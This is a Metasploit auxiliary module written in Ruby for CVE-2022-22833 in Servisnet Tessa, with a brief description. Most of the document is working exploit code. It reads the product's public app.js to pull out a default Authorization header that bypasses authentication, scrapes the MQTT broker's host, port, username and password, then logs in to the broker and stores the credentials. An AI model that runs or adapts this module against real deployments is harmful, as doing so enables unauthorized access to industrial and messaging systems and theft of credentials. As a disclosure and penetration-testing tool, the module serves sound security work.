This Metasploit module exploits an MQTT credential disclosure vulnerability in Servisnet Tessa. The app.js is publicly available which acts as the backend of the application. By exposing a default value for the "Authorization" HTTP header, it is possible to make unauthenticated requests to some areas of the application. Even MQTT (Message Queuing Telemetry Transport) protocol connection information can be obtained with this method. A new admin user can be added to the database with this header obtained in the source code. The module tries to log in to the MQTT service with the credentials it has obtained and reflects the response it receives from the service.
e454e1d5854f2f898cc8bd058db1b7bb##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/mqtt'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::MQTT
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Servisnet Tessa - MQTT Credentials Dump (Unauthenticated) (Metasploit)',
'Description' => %q(
This module exploits MQTT creds dump vulnerability in Servisnet Tessa.
The app.js is publicly available which acts as the backend of the application.
By exposing a default value for the "Authorization" HTTP header,
it is possible to make unauthenticated requests to some areas of the application.
Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.
A new admin user can be added to the database with this header obtained in the source code.
The module tries to log in to the MQTT service with the credentials it has obtained,
and reflects the response it receives from the service.
),
'References' =>
[
[ 'CVE', 'CVE-2022-22833' ],
[ 'URL', 'https://pentest.com.tr/exploits/Servisnet-Tessa-MQTT-Credentials-Dump-Unauthenticated.html' ],
[ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
],
'Author' =>
[
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Dec 22 2021",
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
}
))
register_options([
OptString.new('TARGETURI', [true, 'Base path for application', '/'])
])
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
def check_mqtt
res = send_request_cgi({
# default.a.get( check
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
'method' => 'GET'
})
if res && res.code == 200 && res.body =~ /connectionMQTT/
data = res.body
#word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
mqtt_host = data.scan(/host: '([\S\s]*?)'/)[0][0]
rhost = mqtt_host.split('mqtts://').join('')
print_status("MQTT Host: #{mqtt_host}")
mqtt_port = data.scan(/port: ([\S\s]*?),/)[0][0]
print_status("MQTT Port: #{mqtt_port}")
mqtt_end = data.scan(/endpoint: '([\S\s]*?)'/)[0][0]
print_status("MQTT Endpoint: #{mqtt_end}")
mqtt_cl = data.scan(/clientId: '([\S\s]*?)'/)[0][0]
print_status("MQTT clientId: #{mqtt_cl}")
mqtt_usr = data.scan(/username: '([\S\s]*?)'/)[1][0]
print_status("MQTT username: #{mqtt_usr}")
mqtt_pass = data.scan(/password: '([\S\s]*?)'/)[1][0]
print_status("MQTT password: #{mqtt_pass}")
print_status("##### Starting MQTT login sweep #####")
# Removed brute force materials that can be included for the collection.
cred_collection = Metasploit::Framework::CredentialCollection.new(
password: mqtt_pass,
username: mqtt_usr
)
# this definition already exists in "auxiliary/scanner/mqtt/connect". Moved into exploit.
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::MQTT.new(
host: rhost,
port: mqtt_port,
read_timeout: datastore['READ_TIMEOUT'],
client_id: client_id,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['ConnectTimeout'],
max_send_size: datastore['TCP::max_send_size'],
send_delay: datastore['TCP::send_delay'],
framework: framework,
framework_module: self,
ssl: datastore['SSL'],
ssl_version: datastore['SSLVersion'],
ssl_verify_mode: datastore['SSLVerifyMode'],
ssl_cipher: datastore['SSLCipher'],
local_port: datastore['CPORT'],
local_host: datastore['CHOST']
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
password = result.credential.private
username = result.credential.public
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good("MQTT Login Successful: #{username}/#{password}")
else
invalidate_login(credential_data)
vprint_error("MQTT LOGIN FAILED: #{username}/#{password} (#{result.proof})")
end
end
end
end
def auth_bypass
res = send_request_cgi({
# default.a.defaults.headers.post["Authorization"] check
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
'method' => 'GET'
})
if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/
token = split(res.body, 'Authorization')
print_status("Authorization: #{token}")
return token
else
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
end
def check
if auth_bypass =~ /Basic/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def run
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
check_mqtt
end
end